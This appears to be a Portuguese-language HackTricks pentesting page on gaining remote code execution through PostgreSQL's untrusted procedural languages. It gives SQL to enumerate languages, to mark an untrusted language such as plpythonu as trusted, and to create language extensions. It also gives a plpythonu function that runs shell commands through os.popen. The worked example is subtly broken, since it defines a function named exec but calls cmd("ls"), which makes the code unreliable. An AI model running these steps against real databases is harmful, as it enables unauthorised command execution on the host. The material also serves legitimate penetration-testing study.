RCE with PostgreSQL Languages

Aprenda hacking AWS do zero ao avançado com htARTE (HackTricks AWS Red Team Expert)!

Linguagens do PostgreSQL

O banco de dados PostgreSQL ao qual você obteve acesso pode ter diferentes linguagens de script instaladas que você pode abusar para executar código arbitrário.

Você pode fazê-las funcionar:

\dL *

SELECT lanname,lanpltrusted,lanacl FROM pg_language;

A maioria das linguagens de script que você pode instalar no PostgreSQL tem 2 variantes: a confiável e a não confiável. A não confiável terá um nome terminado em "u" e será a versão que permitirá que você execute código e use outras funções interessantes. Estas são linguagens que, se instaladas, são interessantes:

  • plpythonu

  • plpython3u

  • plperlu

  • pljavaU

  • plrubyu

  • ... (qualquer outra linguagem de programação usando uma versão insegura)

Se você descobrir que uma linguagem interessante está instalada mas não confiável pelo PostgreSQL (lanpltrusted é false), você pode tentar confiá-la com a seguinte linha para que nenhuma restrição seja aplicada pelo PostgreSQL:

UPDATE pg_language SET lanpltrusted=true WHERE lanname='plpythonu';
# To check your permissions over the table pg_language
SELECT * FROM information_schema.table_privileges WHERE table_name = 'pg_language';

Se não visualizar um idioma, você pode tentar carregá-lo com (você precisa ser superadmin):

CREATE EXTENSION plpythonu;
CREATE EXTENSION plpython3u;
CREATE EXTENSION plperlu;
CREATE EXTENSION pljavaU;
CREATE EXTENSION plrubyu;

Note que é possível compilar as versões seguras como "inseguras". Verifique este por exemplo. Portanto, sempre vale a pena tentar se você pode executar código mesmo que encontre instalado apenas o confiável.

plpythonu/plpython3u

CREATE OR REPLACE FUNCTION exec (cmd text)
RETURNS VARCHAR(65535) stable
AS $$
import os
return os.popen(cmd).read()
#return os.execve(cmd, ["/usr/lib64/pgsql92/bin/psql"], {})
$$
LANGUAGE 'plpythonu';

SELECT cmd("ls"); #RCE with popen or execve

pgSQL

Verifique a seguinte página:

pagePL/pgSQL Password Bruteforce

C

Verifique a seguinte página:

pageRCE with PostgreSQL Extensions
Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Last updated